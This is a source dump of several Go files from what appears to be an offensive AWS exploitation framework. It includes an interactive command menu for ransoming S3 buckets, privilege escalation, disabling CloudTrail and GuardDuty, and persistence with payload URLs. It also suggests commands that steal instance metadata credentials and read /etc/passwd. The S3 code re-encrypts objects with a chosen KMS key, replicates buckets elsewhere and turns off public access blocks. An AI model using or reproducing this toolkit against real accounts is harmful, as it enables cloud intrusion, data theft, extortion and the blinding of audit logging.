Message from an error. 158 | fmt.Println(err.Error()) 159 | } 160 | return false 161 | } 162 | 163 | return true 164 | } 165 | -------------------------------------------------------------------------------- /pkg/awsdata/analyzer.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "log" 7 | "net/url" 8 | "reflect" 9 | "regexp" 10 | "strconv" 11 | "strings" 12 | 13 | "github.com/aws/aws-sdk-go/aws" 14 | "github.com/aws/aws-sdk-go/aws/session" 15 | "github.com/aws/aws-sdk-go/service/sts" 16 | ) 17 | 18 | type Value []string 19 | 20 | type PolicyDocument struct { 21 | Version string 22 | Statement []StatementEntry 23 | } 24 | 25 | type StatementEntry struct { 26 | Effect string 27 | Principal map[string]interface{} 28 | Action interface{} 29 | Resource interface{} 30 | } 31 | 32 | //AnalyzePolicy is used to detect over privileged IAM policies 33 | func AnalyzePolicy(data string) bool { 34 | var doc PolicyDocument 35 | var isPrivileged bool 36 | var effect string 37 | 38 | //Privileged Actions 39 | privs := []string{"*", "ec2:*", "iam:*", "s3:*", "lambda:*", "*:*"} 40 | 41 | err1 := json.Unmarshal([]byte(data), &doc) 42 | 43 | if err1 != nil { 44 | fmt.Println(err1) 45 | } 46 | 47 | for _, v := range doc.Statement { 48 | actions := parseObject(v.Action) 49 | isPrivileged = contains(actions, privs) 50 | effect = v.Effect 51 | if effect == "Allow" { 52 | return isPrivileged 53 | } 54 | } 55 | 56 | return false 57 | } 58 | 59 | func GetTrustPolicy(data string) ([]string, []interface{}, map[string]interface{}) { 60 | var doc PolicyDocument 61 | var principalType []string 62 | //var effect string 63 | var identity []interface{} 64 | var principal map[string]interface{} 65 | 66 | //Privileged Actions 67 | //privs := []string{"*", "ec2:*", "iam:*", "s3:*", "lambda:*", "*:*"} 68 | 69 | err1 := json.Unmarshal([]byte(data), &doc) 70 | 71 | if err1 != nil { 72 | fmt.Println(err1) 73 | } 74 | 75 | for _, v := range doc.Statement { 76 | principal = v.Principal 77 | for k, p := range v.Principal { 78 | principalType = append(principalType, k) 79 | identity = append(identity, p) 80 | 81 | } 82 | } 83 | 84 | return principalType, identity, principal 85 | } 86 | 87 | func parseObject(t interface{}) []string { 88 | var actions []string 89 | switch reflect.TypeOf(t).Kind() { 90 | case reflect.Slice: 91 | s := reflect.ValueOf(t) 92 | 93 | for i := 0; i < s.Len(); i++ { 94 | y := s.Index(i).Interface().(string) 95 | actions = append(actions, y) 96 | } 97 | case reflect.String: 98 | s := reflect.ValueOf(t) 99 | y := s.Interface().(string) 100 | actions = append(actions, y) 101 | } 102 | return actions 103 | } 104 | 105 | func contains(s []string, str []string) bool { 106 | for _, v := range s { 107 | for _, p := range str { 108 | if v == p { 109 | //fmt.Printf("Match: %v\n", p) 110 | return true 111 | } 112 | } 113 | } 114 | return false 115 | } 116 | 117 | func contains1(s []string, str string) bool { 118 | for _, v := range s { 119 | if v == str { 120 | return true 121 | } 122 | } 123 | 124 | return false 125 | } 126 | 127 | func AnalyzeInstanceProfile(sess *session.Session, profile string) bool { 128 | data := GetInstanceProfile(sess, profile, true) 129 | if data != nil { 130 | for _, v := range data.InstanceProfile.Roles { 131 | policies := ListAttachedRolePolicies(sess, *v.RoleName) 132 | for _, p := range policies { 133 | json := GetPolicyVersion(sess, *p.PolicyArn) 134 | status := AnalyzePolicy(json) 135 | if status == true { 136 | return true 137 | } 138 | } 139 | } 140 | } 141 | return false 142 | } 143 | 144 | func AnalyzeTrustPolicy(data string, userARN string, accountID string) bool { 145 | 146 | var doc PolicyDocument 147 | var isAllowed bool 148 | var effect string 149 | var checks []string 150 | var userCheck string 151 | var roleCheck string 152 | 153 | //Allowed ARNS 154 | root := "arn:aws:iam::accountid:root" 155 | user := "arn:aws:iam::accountid:user/userid" 156 | role := "arn:aws:iam::accountid:role/userid" 157 | 158 | regexRole := `assumed-role\/(.*)\/` 159 | regexUser := `user\/(.*)` 160 | 161 | r, _ := regexp.Compile(regexRole) 162 | if r.MatchString(userARN) { 163 | matches := r.FindStringSubmatch(string(userARN)) 164 | roleCheck = strings.ReplaceAll(role, "accountid", accountID) 165 | roleCheck = strings.ReplaceAll(roleCheck, "userid", matches[1]) 166 | } 167 | r, _ = regexp.Compile(regexUser) 168 | if r.MatchString(userARN) { 169 | matches := r.FindStringSubmatch(string(userARN)) 170 | userCheck = strings.ReplaceAll(user, "accountid", accountID) 171 | userCheck = strings.ReplaceAll(userCheck, "userid", matches[1]) 172 | } 173 | 174 | //Hacky way to check for access.. 175 | rootCheck := strings.ReplaceAll(root, "accountid", accountID) 176 | 177 | checks = append(checks, userCheck) 178 | checks = append(checks, rootCheck) 179 | checks = append(checks, roleCheck) 180 | 181 | err1 := json.Unmarshal([]byte(data), &doc) 182 | 183 | if err1 != nil { 184 | fmt.Println(err1) 185 | } 186 | 187 | for _, v := range doc.Statement { 188 | arns := parser(v.Principal) 189 | //for _, arn := range arns { 190 | // fmt.Println(arn) 191 | //} 192 | isAllowed = contains(arns, checks) 193 | //fmt.Println(isAllowed) 194 | effect = v.Effect 195 | if effect == "Allow" && v.Action == "sts:AssumeRole" { 196 | return isAllowed 197 | } 198 | } 199 | 200 | return false 201 | } 202 | 203 | func parser(t map[string]interface{}) []string { 204 | var arns []string 205 | for k, v := range t { 206 | switch c := v.(type) { 207 | case string: 208 | if k == "AWS" { 209 | arns = append(arns, c) 210 | } 211 | case []interface{}: 212 | for _, v2 := range c { 213 | if k == "AWS" { 214 | arn := fmt.Sprintf("%s", v2) 215 | arns = append(arns, arn) 216 | } 217 | } 218 | } 219 | 220 | } 221 | return arns 222 | } 223 | 224 | func AnalyzeRoleTrustRelationships(sess *session.Session) { 225 | svc := sts.New(sess) 226 | 227 | var params *sts.GetCallerIdentityInput 228 | resp, err := svc.GetCallerIdentity(params) 229 | 230 | accountID := *resp.Account 231 | userARN := *resp.Arn 232 | 233 | if err != nil { 234 | // Print the error, cast err to awserr.Error to get the Code and 235 | // Message from an error. 236 | fmt.Println(err.Error()) 237 | return 238 | } 239 | 240 | data := [][]string{} 241 | 242 | roles := ListRoles(sess, true) 243 | for _, v := range roles.Roles { 244 | decodedValue, err := url.QueryUnescape(aws.StringValue(v.AssumeRolePolicyDocument)) 245 | if err != nil { 246 | log.Fatal(err) 247 | } 248 | //fmt.Println(decodedValue) 249 | status := AnalyzeTrustPolicy(decodedValue, userARN, accountID) 250 | if status == true { 251 | row := []string{*v.Arn, strconv.FormatBool(status)} 252 | data = append(data, row) 253 | } 254 | } 255 | header := []string{"Role", "Can Assume", "isPrivileged"} 256 | tableData(data, header) 257 | fmt.Println("Try: assume-role arn:aws:iam::accountid:role/rolename") 258 | } 259 | 260 | func TestInterface(t interface{}) []string { 261 | var idents []string 262 | switch reflect.TypeOf(t).Kind() { 263 | case reflect.Slice: 264 | s := reflect.ValueOf(t) 265 | 266 | for i := 0; i < s.Len(); i++ { 267 | id := fmt.Sprintf(s.Index(i).Elem().String()) 268 | idents = append(idents, id) 269 | } 270 | case reflect.String: 271 | s := reflect.ValueOf(t) 272 | idents = append(idents, s.String()) 273 | } 274 | return idents 275 | 276 | } 277 | -------------------------------------------------------------------------------- /pkg/completion/completion.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "strings" 8 | 9 | "github.com/chzyer/readline" 10 | "github.com/gookit/color" 11 | ) 12 | 13 | func Start(t string) { 14 | 15 | red := color.FgRed.Render 16 | blue := color.FgBlue.Render 17 | green := color.FgGreen.Render 18 | fmt.Println("\nUA Tracking Session: exec-env/" + t + "\n") 19 | ascii := `AWS Exploitation Framework 20 | _____ _____ ____ _ _ _____ 21 | / ___|/ ____/ __ \| | | | __ \ 22 | | (___| | | | | | | | | |__)| 23 | \___ \| | | | | | | | | _ / 24 | ____) | |___| |__| | |__| | | \ \ 25 | |____/ \_____\____/ \____/|_| \_\ 26 | ` 27 | print(ascii + "\n") 28 | 29 | for { 30 | 31 | //Autocompletion configuration 32 | var completer = readline.NewPrefixCompleter( 33 | 34 | //Grab Credentials 35 | readline.PcItem("token", 36 | readline.PcItem("profile", 37 | readline.PcItemDynamic(listProfiles(), 38 | readline.PcItem("us-east-1"), 39 | readline.PcItem("us-east-2"), 40 | readline.PcItem("us-west-1"), 41 | readline.PcItem("us-west-2"), 42 | ), 43 | ), 44 | readline.PcItem("AssumeRole", 45 | readline.PcItemDynamic(listRoles(sess), 46 | readline.PcItem("us-east-1"), 47 | readline.PcItem("us-east-2"), 48 | readline.PcItem("us-west-1"), 49 | readline.PcItem("us-west-2"), 50 | ), 51 | ), 52 | 53 | readline.PcItem("AssumeRaw", 54 | readline.PcItem("us-east-1"), 55 | readline.PcItem("us-east-2"), 56 | readline.PcItem("us-west-1"), 57 | readline.PcItem("us-west-2"), 58 | ), 59 | readline.PcItem("GetSessionToken", 60 | readline.PcItem("us-east-1"), 61 | readline.PcItem("us-east-2"), 62 | readline.PcItem("us-west-1"), 63 | readline.PcItem("us-west-2"), 64 | ), 65 | readline.PcItem("DefaultProvider", 66 | readline.PcItem("us-east-1"), 67 | readline.PcItem("us-east-2"), 68 | readline.PcItem("us-west-1"), 69 | readline.PcItem("us-west-2"), 70 | ), ), 71 | 72 | //ATTACK Command completion 73 | readline.PcItem("attack", 74 | readline.PcItem("operations", 75 | readline.PcItem("s3-ransom", 76 | readline.PcItemDynamic(listBuckets(sess), 77 | readline.PcItem("arn:aws:kms:REGION:ACCOUNT-ID:key/KEY-ID"), 78 | ), 79 | ), 80 | ), 81 | readline.PcItem("enum", 82 | readline.PcItem("IAM"), 83 | readline.PcItem("Roles"), 84 | readline.PcItem("EC2"), 85 | readline.PcItem("S3"), 86 | readline.PcItem("Groups"), 87 | readline.PcItem("CrossAccount"), 88 | readline.PcItem("Network"), 89 | ), 90 | 91 | readline.PcItem("privesc", 92 | readline.PcItem("UserData", 93 | readline.PcItemDynamic(listEc2(sess), 94 | readline.PcItem("http://url.to.capture.post.data"), 95 | ), 96 | ), 97 | readline.PcItem("CreateLoginProfile", 98 | readline.PcItemDynamic(listUsers(sess)), 99 | ), 100 | readline.PcItem("IAM"), 101 | ), 102 | 103 | readline.PcItem("lateral", 104 | readline.PcItem("ConsoleLogin", 105 | readline.PcItemDynamic(listUsers(sess)), 106 | ), 107 | readline.PcItem("CrossAccount"), 108 | ), 109 | 110 | readline.PcItem("evasion", 111 | readline.PcItem("KillCloudTrail", 112 | readline.PcItemDynamic(listTrails(sess)), 113 | ), 114 | readline.PcItem("StopCloudTrail", 115 | readline.PcItemDynamic(listTrails(sess)), 116 | ), 117 | readline.PcItem("KillGuardDuty"), 118 | readline.PcItem("UpdateGuardDuty", 119 | readline.PcItemDynamic(listTrails(sess)), 120 | ), 121 | readline.PcItem("TrustIPGuardDuty", 122 | readline.PcItem("https://scouriplist.s3-us-west-1.amazonaws.com/iplist.txt"), 123 | ), 124 | readline.PcItem(""), 125 | ), 126 | 127 | readline.PcItem("creds", 128 | readline.PcItem("UserData"), 129 | readline.PcItem("SSM"), 130 | readline.PcItem("Lambda"), 131 | readline.PcItem("ECS"), 132 | ), 133 | 134 | readline.PcItem("execute", 135 | readline.PcItem("ssm-command", 136 | readline.PcItemDynamic(listEc2(sess), 137 | readline.PcItem("\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials\""), 138 | readline.PcItem("\"cat /etc/passwd\""), 139 | ), 140 | ), 141 | readline.PcItem("UserData", 142 | readline.PcItemDynamic(listEc2(sess), 143 | readline.PcItem("\"curl http://169.254.169.254/latest/meta-data/iam/security-credentials\""), 144 | readline.PcItem("\"cat /etc/passwd\""), 145 | ), 146 | ), 147 | ), 148 | 149 | readline.PcItem("persist", 150 | readline.PcItem("AccessKey", 151 | readline.PcItemDynamic(listUsers(sess)), 152 | ), 153 | readline.PcItem("Role", 154 | readline.PcItemDynamic(listRolesName(sess)), 155 | ), 156 | readline.PcItem("CreateUser"), 157 | readline.PcItem("CodeBuild"), 158 | readline.PcItem("CrossAccount"), 159 | readline.PcItem("EC2", 160 | readline.PcItem("ami-013f17f36f8b1fefb", 161 | readline.PcItem("https://url.to.compiled.payload/payload"), 162 | ), 163 | ), 164 | readline.PcItem("SSM", 165 | readline.PcItemDynamic(listEc2(sess)), 166 | ), 167 | ), 168 | 169 | readline.PcItem("exfil", 170 | readline.PcItem("ec2Snapshot", 171 | readline.PcItemDynamic(listEc2(sess), 172 | readline.PcItem(""), 173 | ), 174 | ), 175 | ), 176 | ), 177 | 178 | readline.PcItem("whoami"), 179 | 180 | //AWS cli implementation 181 | readline.PcItem("aws", 182 | 183 | readline.PcItem("iam", 184 | readline.PcItem("get-session-token"), 185 | readline.PcItem("list-users"), 186 | readline.PcItem("create-user"), 187 | readline.PcItem("list-groups"), 188 | readline.PcItem("create-group"), 189 | readline.PcItem("list-groups-for-user", 190 | readline.PcItemDynamic(listUsers(sess)), 191 | ), 192 | readline.PcItem("add-user-to-group", 193 | readline.PcItemDynamic(listUsers(sess)), 194 | ), 195 | readline.PcItem("list-roles"), 196 | readline.PcItem("create-role"), 197 | readline.PcItem("list-policies"), 198 | readline.PcItem("create-policy"), 199 | readline.PcItem("get-user", 200 | readline.PcItemDynamic(listUsers(sess)), 201 | ), 202 | readline.PcItem("get-group"), 203 | readline.PcItem("get-role"), 204 | readline.PcItem("get-policy"), 205 | readline.PcItem("create-access-key", 206 | readline.PcItemDynamic(listUsers(sess)), 207 | ), 208 | readline.PcItem("create-login-profile", 209 | readline.PcItemDynamic(listUsers(sess)), 210 | ), 211 | ), 212 | 213 | readline.PcItem("s3", 214 | readline.PcItem("list-buckets"), 215 | ), 216 | 217 | readline.PcItem("ssm", 218 | readline.PcItem("send-command"), 219 | ), 220 | 221 | readline.PcItem("ecs", 222 | readline.PcItem("send-command"), 223 | ), 224 | 225 | readline.PcItem("ec2", 226 | readline.PcItem("describe-instances"), 227 | ), 228 | ), 229 | ) 230 | 231 | //readlines configuration 232 | l, err := readline.NewEx(&readline.Config{ 233 | Prompt: "\033[31m»\033[0m ", 234 | HistoryFile: "/tmp/readline.tmp", 235 | AutoComplete: completer, 236 | InterruptPrompt: "^C", 237 | EOFPrompt: "exit", 238 | 239 | HistorySearchFold: true, 240 | FuncFilterInputRune: filterInput, 241 | }) 242 | if err != nil { 243 | panic(err) 244 | } 245 | defer l.Close() 246 | 247 | log.SetOutput(l.Stderr()) 248 | if target == "" || connected == false { 249 | l.SetPrompt(red("Not Connected") + " <" + blue("") + "> ") 250 | } else { 251 | l.SetPrompt(green("Connected") + " <" + blue(target+"/"+region) + "> ") 252 | } 253 | line, err := l.Readline() 254 | if err == readline.ErrInterrupt { 255 | if len(line) == 0 { 256 | break 257 | } else { 258 | continue 259 | } 260 | } else if err == io.EOF { 261 | break 262 | } 263 | 264 | //Trimwhitespace and send to commands switch 265 | line = strings.TrimSpace(line) 266 | Commands(line, t) 267 | } 268 | } 269 | 270 | //Filter input from readline CtrlZ 271 | func filterInput(r rune) (rune, bool) { 272 | switch r { 273 | // block CtrlZ feature 274 | case readline.CharCtrlZ: 275 | return r, false 276 | } 277 | return r, true 278 | } 279 | -------------------------------------------------------------------------------- /pkg/awsdata/s3.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/s3" 10 | ) 11 | 12 | func ListBuckets(sess *session.Session, hide bool) []string { 13 | data := [][]string{} 14 | var buckets []string 15 | 16 | svc := s3.New(sess) 17 | input := &s3.ListBucketsInput{} 18 | 19 | result, err := svc.ListBuckets(input) 20 | if err != nil { 21 | if aerr, ok := err.(awserr.Error); ok { 22 | switch aerr.Code() { 23 | default: 24 | fmt.Println(aerr.Error()) 25 | } 26 | } else { 27 | // Print the error, cast err to awserr.Error to get the Code and 28 | // Message from an error. 29 | fmt.Println(err.Error()) 30 | } 31 | return nil 32 | } 33 | 34 | for _, bucket := range result.Buckets { 35 | if bucket == nil { 36 | continue 37 | } 38 | //fmt.Printf("%d user %s created %v\n", i, *user.UserName, user.CreateDate) 39 | buckets = append(buckets, *bucket.Name) 40 | row := []string{*bucket.Name, bucket.CreationDate.String()} 41 | data = append(data, row) 42 | } 43 | header := []string{"BucketName", "CreateDate"} 44 | if hide == false { 45 | tableData(data, header) 46 | } 47 | return buckets 48 | } 49 | 50 | func GetBucketPolicy(sess *session.Session, bucket string) *s3.GetBucketPolicyOutput { 51 | svc := s3.New(sess) 52 | input := &s3.GetBucketPolicyInput{ 53 | Bucket: aws.String(bucket), 54 | } 55 | 56 | result, err := svc.GetBucketPolicy(input) 57 | if err != nil { 58 | if aerr, ok := err.(awserr.Error); ok { 59 | switch aerr.Code() { 60 | default: 61 | //fmt.Println(aerr.Error()) 62 | } 63 | } else { 64 | // Print the error, cast err to awserr.Error to get the Code and 65 | // Message from an error. 66 | //fmt.Println(err.Error()) 67 | } 68 | return nil 69 | } 70 | 71 | return result 72 | 73 | } 74 | 75 | func GetBucketLocation(sess *session.Session, bucket string) string { 76 | svc := s3.New(sess) 77 | input := &s3.GetBucketLocationInput{ 78 | Bucket: aws.String(bucket), 79 | } 80 | 81 | result, err := svc.GetBucketLocation(input) 82 | if err != nil { 83 | if aerr, ok := err.(awserr.Error); ok { 84 | switch aerr.Code() { 85 | default: 86 | //fmt.Println(aerr.Error()) 87 | } 88 | } else { 89 | // Print the error, cast err to awserr.Error to get the Code and 90 | // Message from an error. 91 | //fmt.Println(err.Error()) 92 | } 93 | return "" 94 | } 95 | 96 | if result.LocationConstraint != nil { 97 | return *result.LocationConstraint 98 | } 99 | return "" 100 | } 101 | 102 | func GetBucketReplication(sess *session.Session, bucket string) string { 103 | svc := s3.New(sess) 104 | input := &s3.GetBucketReplicationInput{ 105 | Bucket: aws.String(bucket), 106 | } 107 | 108 | _, err := svc.GetBucketReplication(input) 109 | if err != nil { 110 | if aerr, ok := err.(awserr.Error); ok { 111 | switch aerr.Code() { 112 | default: 113 | return aerr.Code() 114 | } 115 | } else { 116 | // Print the error, cast err to awserr.Error to get the Code and 117 | // Message from an error. 118 | return aerr.Code() 119 | } 120 | } 121 | status := "exists" 122 | return status 123 | } 124 | 125 | func GetBucketACL(sess *session.Session, bucket string) *s3.GetBucketAclOutput { 126 | svc := s3.New(sess) 127 | input := &s3.GetBucketAclInput{ 128 | Bucket: aws.String(bucket), 129 | } 130 | 131 | result, err := svc.GetBucketAcl(input) 132 | if err != nil { 133 | if aerr, ok := err.(awserr.Error); ok { 134 | switch aerr.Code() { 135 | default: 136 | //fmt.Println(aerr.Error()) 137 | } 138 | } else { 139 | // Print the error, cast err to awserr.Error to get the Code and 140 | // Message from an error. 141 | //fmt.Println(err.Error()) 142 | } 143 | return nil 144 | } 145 | 146 | return result 147 | } 148 | 149 | func GetBucketWebsite(sess *session.Session, bucket string) *s3.GetBucketWebsiteOutput { 150 | svc := s3.New(sess) 151 | input := &s3.GetBucketWebsiteInput{ 152 | Bucket: aws.String(bucket), 153 | } 154 | 155 | result, err := svc.GetBucketWebsite(input) 156 | if err != nil { 157 | if aerr, ok := err.(awserr.Error); ok { 158 | switch aerr.Code() { 159 | default: 160 | //fmt.Println(aerr.Error()) 161 | } 162 | } else { 163 | // Print the error, cast err to awserr.Error to get the Code and 164 | // Message from an error. 165 | //fmt.Println(err.Error()) 166 | } 167 | return nil 168 | } 169 | 170 | return result 171 | } 172 | 173 | func GetBucketVersioning(sess *session.Session, bucket string) { 174 | svc := s3.New(sess) 175 | input := &s3.GetBucketVersioningInput{ 176 | Bucket: aws.String(bucket), 177 | } 178 | 179 | result, err := svc.GetBucketVersioning(input) 180 | if err != nil { 181 | if aerr, ok := err.(awserr.Error); ok { 182 | switch aerr.Code() { 183 | default: 184 | fmt.Println(aerr.Error()) 185 | } 186 | } else { 187 | // Print the error, cast err to awserr.Error to get the Code and 188 | // Message from an error. 189 | fmt.Println(err.Error()) 190 | } 191 | return 192 | } 193 | 194 | fmt.Println(result) 195 | } 196 | 197 | func CopyObject(sess *session.Session, bucket string, key string, kmsArn string) *s3.CopyObjectOutput { 198 | svc := s3.New(sess) 199 | input := &s3.CopyObjectInput{ 200 | Bucket: aws.String(bucket), 201 | CopySource: aws.String("/" + bucket + "/" + key), 202 | Key: aws.String(key), 203 | SSEKMSKeyId: aws.String(kmsArn), 204 | ServerSideEncryption: aws.String("aws:kms"), 205 | } 206 | 207 | result, err := svc.CopyObject(input) 208 | if err != nil { 209 | if aerr, ok := err.(awserr.Error); ok { 210 | switch aerr.Code() { 211 | case s3.ErrCodeObjectNotInActiveTierError: 212 | fmt.Println(s3.ErrCodeObjectNotInActiveTierError, aerr.Error()) 213 | default: 214 | fmt.Println(aerr.Error()) 215 | } 216 | } else { 217 | // Print the error, cast err to awserr.Error to get the Code and 218 | // Message from an error. 219 | fmt.Println(err.Error()) 220 | } 221 | return nil 222 | } 223 | 224 | return result 225 | } 226 | 227 | func ListObjects(sess *session.Session, bucket string) *s3.ListObjectsV2Output { 228 | svc := s3.New(sess) 229 | input := &s3.ListObjectsV2Input{ 230 | Bucket: aws.String(bucket), 231 | MaxKeys: aws.Int64(1000), 232 | } 233 | 234 | result, err := svc.ListObjectsV2(input) 235 | if err != nil { 236 | if aerr, ok := err.(awserr.Error); ok { 237 | switch aerr.Code() { 238 | case s3.ErrCodeNoSuchBucket: 239 | fmt.Println(s3.ErrCodeNoSuchBucket, aerr.Error()) 240 | default: 241 | fmt.Println(aerr.Error()) 242 | } 243 | } else { 244 | // Print the error, cast err to awserr.Error to get the Code and 245 | // Message from an error. 246 | fmt.Println(err.Error()) 247 | } 248 | return nil 249 | } 250 | 251 | return result 252 | } 253 | 254 | //Required ARN with s3 sts:assume 255 | func PutBucketReplicaton(sess *session.Session, arn string, bucket string, destBucket string) { 256 | svc := s3.New(sess) 257 | input := &s3.PutBucketReplicationInput{ 258 | Bucket: aws.String(bucket), 259 | ReplicationConfiguration: &s3.ReplicationConfiguration{ 260 | Role: aws.String(arn), 261 | Rules: []*s3.ReplicationRule{ 262 | { 263 | Destination: &s3.Destination{ 264 | Bucket: aws.String("arn:aws:s3:::" + destBucket), 265 | StorageClass: aws.String("STANDARD"), 266 | }, 267 | Prefix: aws.String(""), 268 | Status: aws.String("Enabled"), 269 | }, 270 | }, 271 | }, 272 | } 273 | 274 | result, err := svc.PutBucketReplication(input) 275 | if err != nil { 276 | if aerr, ok := err.(awserr.Error); ok { 277 | switch aerr.Code() { 278 | default: 279 | fmt.Println(aerr.Error()) 280 | } 281 | } else { 282 | // Print the error, cast err to awserr.Error to get the Code and 283 | // Message from an error. 284 | fmt.Println(err.Error()) 285 | } 286 | return 287 | } 288 | 289 | fmt.Println(result) 290 | } 291 | 292 | func PutPublicAccessBlock(sess *session.Session, bucket string) { 293 | svc := s3.New(sess) 294 | input := &s3.PutPublicAccessBlockInput{ 295 | Bucket: aws.String(bucket), 296 | PublicAccessBlockConfiguration: &s3.PublicAccessBlockConfiguration{ 297 | BlockPublicAcls: aws.Bool(false), 298 | BlockPublicPolicy: aws.Bool(false), 299 | IgnorePublicAcls: aws.Bool(false), 300 | RestrictPublicBuckets: aws.Bool(false), 301 | }, 302 | } 303 | 304 | result, err := svc.PutPublicAccessBlock(input) 305 | if err != nil { 306 | if aerr, ok := err.(awserr.Error); ok { 307 | switch aerr.Code() { 308 | default: 309 | fmt.Println(aerr.Error()) 310 | } 311 | } else { 312 | // Print the error, cast err to awserr.Error to get the Code and 313 | // Message from an error. 314 | fmt.Println(err.Error()) 315 | } 316 | return 317 | } 318 | 319 | fmt.Println(result) 320 | } 321 | -------------------------------------------------------------------------------- /pkg/awsdata/ec2.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/ec2" 10 | "github.com/drk1wi/Modlishka/log" 11 | ) 12 | 13 | func DescribeInstances(sess *session.Session) []*ec2.Reservation { 14 | svc := ec2.New(sess) 15 | input := &ec2.DescribeInstancesInput{} 16 | 17 | result, err := svc.DescribeInstances(input) 18 | if err != nil { 19 | if aerr, ok := err.(awserr.Error); ok { 20 | switch aerr.Code() { 21 | default: 22 | fmt.Println(aerr.Error()) 23 | } 24 | } else { 25 | // Print the error, cast err to awserr.Error to get the Code and 26 | // Message from an error. 27 | fmt.Println(err.Error()) 28 | } 29 | return nil 30 | } 31 | return result.Reservations 32 | } 33 | 34 | func DescribeInstanceAttribute(sess *session.Session, InstanceId string, attribute string) *ec2.DescribeInstanceAttributeOutput { 35 | svc := ec2.New(sess) 36 | input := &ec2.DescribeInstanceAttributeInput{ 37 | Attribute: aws.String(attribute), 38 | InstanceId: aws.String(InstanceId), 39 | } 40 | 41 | result, err := svc.DescribeInstanceAttribute(input) 42 | if err != nil { 43 | if aerr, ok := err.(awserr.Error); ok { 44 | switch aerr.Code() { 45 | default: 46 | fmt.Println(aerr.Error()) 47 | } 48 | } else { 49 | // Print the error, cast err to awserr.Error to get the Code and 50 | // Message from an error. 51 | fmt.Println(err.Error()) 52 | } 53 | return nil 54 | } 55 | 56 | return result 57 | 58 | } 59 | 60 | func RunInstance(sess *session.Session, data *ec2.RunInstancesInput) string { 61 | 62 | // Create EC2 service client 63 | svc := ec2.New(sess) 64 | 65 | // Specify the details of the instance that you want to create. 66 | runResult, err := svc.RunInstances(data) 67 | 68 | if err != nil { 69 | log.Errorf("Could not create instance %v", err) 70 | return "" 71 | } 72 | 73 | log.Infof("Created instance %v", *runResult.Instances[0].InstanceId) 74 | return *runResult.Instances[0].InstanceId 75 | } 76 | 77 | func ec2Status(sess *session.Session, instanceID string) []*ec2.InstanceStatus { 78 | svc := ec2.New(sess) 79 | input := &ec2.DescribeInstanceStatusInput{ 80 | InstanceIds: []*string{ 81 | aws.String(instanceID), 82 | }, 83 | } 84 | 85 | result, err := svc.DescribeInstanceStatus(input) 86 | if err != nil { 87 | if aerr, ok := err.(awserr.Error); ok { 88 | switch aerr.Code() { 89 | default: 90 | fmt.Println(aerr.Error()) 91 | } 92 | } else { 93 | // Print the error, cast err to awserr.Error to get the Code and 94 | // Message from an error. 95 | fmt.Println(err.Error()) 96 | } 97 | return nil 98 | } 99 | 100 | fmt.Println("Checking if EC2 is Running...") 101 | return result.InstanceStatuses 102 | } 103 | 104 | func ModifyInstanceAttribute(sess *session.Session, input *ec2.ModifyInstanceAttributeInput) bool { 105 | 106 | svc := ec2.New(sess) 107 | 108 | _, err := svc.ModifyInstanceAttribute(input) 109 | if err != nil { 110 | if aerr, ok := err.(awserr.Error); ok { 111 | switch aerr.Code() { 112 | default: 113 | fmt.Println(aerr.Error()) 114 | } 115 | } else { 116 | // Print the error, cast err to awserr.Error to get the Code and 117 | // Message from an error. 118 | fmt.Println(err.Error()) 119 | } 120 | return false 121 | } 122 | return true 123 | 124 | } 125 | 126 | func StopInstance(sess *session.Session, instanceID string) { 127 | svc := ec2.New(sess) 128 | input := &ec2.StopInstancesInput{ 129 | InstanceIds: []*string{ 130 | aws.String(instanceID), 131 | }, 132 | } 133 | 134 | result, err := svc.StopInstances(input) 135 | if err != nil { 136 | if aerr, ok := err.(awserr.Error); ok { 137 | switch aerr.Code() { 138 | default: 139 | fmt.Println(aerr.Error()) 140 | } 141 | } else { 142 | // Print the error, cast err to awserr.Error to get the Code and 143 | // Message from an error. 144 | fmt.Println(err.Error()) 145 | } 146 | return 147 | } 148 | 149 | log.Infof("Stopping Instance %v - State: %v", instanceID, *result.StoppingInstances[0].CurrentState.Name) 150 | } 151 | 152 | func StartInstance(sess *session.Session, instanceID string) { 153 | svc := ec2.New(sess) 154 | input := &ec2.StartInstancesInput{ 155 | InstanceIds: []*string{ 156 | aws.String(instanceID), 157 | }, 158 | } 159 | 160 | result, err := svc.StartInstances(input) 161 | if err != nil { 162 | if aerr, ok := err.(awserr.Error); ok { 163 | switch aerr.Code() { 164 | default: 165 | fmt.Println(aerr.Error()) 166 | } 167 | } else { 168 | // Print the error, cast err to awserr.Error to get the Code and 169 | // Message from an error. 170 | fmt.Println(err.Error()) 171 | } 172 | return 173 | } 174 | 175 | log.Infof("Starting Instance %v - State: %v", instanceID, *result.StartingInstances[0].CurrentState.Name) 176 | } 177 | 178 | func DescribeSecurityGroup(sess *session.Session, sg string) *ec2.DescribeSecurityGroupsOutput { 179 | svc := ec2.New(sess) 180 | input := &ec2.DescribeSecurityGroupsInput{ 181 | GroupIds: []*string{ 182 | aws.String(sg), 183 | }, 184 | } 185 | 186 | result, err := svc.DescribeSecurityGroups(input) 187 | if err != nil { 188 | if aerr, ok := err.(awserr.Error); ok { 189 | switch aerr.Code() { 190 | default: 191 | fmt.Println(aerr.Error()) 192 | } 193 | } else { 194 | // Print the error, cast err to awserr.Error to get the Code and 195 | // Message from an error. 196 | fmt.Println(err.Error()) 197 | } 198 | return nil 199 | } 200 | 201 | return result 202 | } 203 | 204 | func DescribeVpnConnections(sess *session.Session) *ec2.DescribeVpnConnectionsOutput { 205 | svc := ec2.New(sess) 206 | input := &ec2.DescribeVpnConnectionsInput{} 207 | 208 | result, err := svc.DescribeVpnConnections(input) 209 | if err != nil { 210 | if aerr, ok := err.(awserr.Error); ok { 211 | switch aerr.Code() { 212 | default: 213 | fmt.Println(aerr.Error()) 214 | } 215 | } else { 216 | // Print the error, cast err to awserr.Error to get the Code and 217 | // Message from an error. 218 | fmt.Println(err.Error()) 219 | } 220 | return nil 221 | } 